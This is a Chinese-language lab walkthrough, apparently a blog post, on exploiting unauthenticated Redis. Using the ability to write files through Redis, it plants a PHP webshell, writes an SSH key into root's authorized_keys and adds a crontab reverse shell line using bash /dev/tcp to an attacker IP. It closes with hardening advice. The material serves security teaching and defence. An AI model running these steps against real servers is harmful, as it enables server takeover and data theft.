一、介绍
1.Redis数据库
Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
2.漏洞介绍
Redis因配置不当可以导致未授权访问，被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式，在特定条件下，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器，可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生，严重危害业务正常服务。
漏洞产生条件：
（1）redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网；
（2）没有设置密码认证（一般为空），可以免密码远程登录redis服务。
漏洞检测：：
可以对目标主机使用nmap扫描
若发现主机6379端口是对外开发的，则可以认为有redis数据库。若碰巧默认配置为空密码，而服务器仍然对外开放，则可以在另一个装有redis数据库的主机使用redis-cli -h 目标ip地址 直接远程连接
漏洞危害：
（1）Redis数据泄露
Redis数据表中存储着企业的私有数据，比如一些网站的账户密码、FTP账户密码等，攻击者可以随时查看数据表的内容。
（2）Redis数据销毁
攻击者可以修改redis数据表，增删key项，如调用fluxhall命令清除所有key。
（3）主机系统环境泄露，为后续攻击提供网络信息
例如，使用 info 命令可以查看主机的相关信息，如操作系统环境、目录名、CPU/内存等敏感信息。
（4）结合技术手段控制主机
利用redis未经授权的漏洞，不仅对redis数据构成威胁，而且通过一定的技术手段控制目标主机系统，获得主机控制权。
二、漏洞环境搭建
攻击机：腾讯云服务器 系统：ubuntu 20.04 64位 公网ip地址：49.xxx.xxx.xx
靶机：阿里云服务器 系统：ubuntu 16.04 64位 公网ip地址：101.xxx.xxx.xxx
使用Redis版本：2.8.17
注意：两个云服务器的相关端口要记得打开，否则redis-cli无法连接
1.靶机下载Redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2.解压Redis
tar xzf redis-2.8.17.tar.gz
3.进入安装目录，编译
cd redis-2.8.17/
make
如下图所示，编译成功
4.复制redis-server和redis-cli到/usr/bin/目录
这一步的目的是为了我们可以直接使用该命令，而不必每次都去安装目录执行。
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
5.启动服务
由于我们使用的redis版本较低，所以不需要修改redis.conf文件，已经满足漏洞利用的条件了，所以直接启动即可。
redis-server &
如图，启动成功！
6.环境搭建完毕，尝试连接
我们再将上述步骤在攻击机里重新布置一次，使攻击机与靶机都安装redis服务。
攻击机进行连接：
redis-cli -h 靶机的ip地址
如图，无账号成功登录redis，漏洞环境已成功复现
三、攻击方式演示
1.写入webshell
配置一个可读可写可执行的导出路径
config set dir /tmp
设置备份名为shell.php的文件且放到存放目录
config set dbfilename shell.php
创建webshell
set webshell "<?php phpinfo(); ?>"
保存
save
查看靶机tmp文件夹，发现shell.php已成功写入
2.写入SSH公钥实现SSH登录
（1）在靶机中执行 mkdir /root/.ssh 命令，创建ssh公钥存放目录（若是靶机使用过ssh服务，则会自动生成/root/.ssh文件目录）
（2）在攻击机中生成ssh公钥和私钥，密码设置为空：
如图，一路回车即可
（3）进入.ssh目录，保存密钥
进入.ssh目录
cd ~/.ssh
将生成的公钥保存到key.txt
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
（4）将保存的key.txt文件内容写入redis
cat /root/.ssh/key.txt | redis-cli -h 靶机ip地址 -x set pub
(5)设置redis的备份路径为：/root/.ssh/
设置上传公钥的备份文件名为：authorized_keys
（6）已成功写入ssh公钥到靶机，测试ssh免密登录。
ssh 靶机ip地址
如图已成功连接
注意：我在用云服务器操作时，redis-cli突然连接不上了，后来发现是我被判定存在攻击行为把我6379端口封禁了，redis换个端口即可解决。
3.在crontab里写定时任务,反弹shell
靶机之前使用的ubuntu系统，演示未成功，更换为centos后重新操作一遍后成功，攻击机未变。
（1）攻击机上监听4444端口
nc -lnvp 4444
（2）新开一个终端，redis-cli连接上后，写入反弹shell
set xx "\n* * * * * bash -i >& /dev/tcp/攻击机ip地址/监听的端口号 0>&1\n"
（3）设置导出的路径
config set dir /var/spool/cron/
（4）设置导出的文件名称
config set dbfilename root
（5）save
成功收到反弹的shell！
四、修复建议
1.网络层加固
指定Redis服务使用的网卡
默认情况下，Redis 监听127.0.0.1. 如果只是本地通信，请务必在本地进行监控。
这种方法可以在一定程度上缓解未经授权访问 Redis 的风险（在特殊情况下，如果 Redis 以 root 用户身份运行，攻击者可以利用现有的 webshell 使用 Redis 反弹 shell 来实现提权）。
在redis.conf文件# bind 127.0.0.1前面找到#删除，然后保存。
注意：此操作需要重启Redis才能生效。2、修改后只有本机可以访问Redis，也可以指定访问源IP访问Redis。
2.设置防火墙策略
如果正常业务需要其他服务器访问Redis服务，可以使用iptables策略，只允许指定IP访问Redis服务。
iptables -A INPUT -s xxxx -p tcp --dport 6379 -j ACCEPT
3.账号与认证
设置访问密码
在redis.conf查找requirepass字段中，删除其注释，并在后面填写密码。Redis 客户端也需要使用这个密码才能访问 Redis 服务。
4.最小化服务操作权限
修改Redis服务运行账号
请使用较低权限的帐号运行 Redis 服务，并禁用该帐号的登录权限。
5.精细化服务授权
隐藏重要命令
Redis 没有权限分离，它的管理员账户和普通账户没有明显的区别。在登录攻击者可以执行任何操作后，需要隐藏以下重要命令：FLUSHDB,FLUSHALL,KEYS,PEXPIRE,DEL,CONFIG,SHUTDOWN,BGREWRITEAOF,BGSAVE,SAVE,SPOP,SREM,RENAME,DEBUG,EVAL.
此外，Redis 2.8.1 和 Redis 3.x（3.0.2 以下）存在 EVAL 沙盒逃逸漏洞，允许攻击者执行任意 Lua 代码。
以下配置config/flushdb/flushall设置为null，即禁用该命令；也可能提供一个复杂的、难以猜测的名称
（1）rename-command CONFIG ""
（2）rename-command flushall ""
（3）rename-command flushdb“”
（4）rename-command shutdown shotdown_test
保存后，执行/etc/init.d/redis-server restart重启生效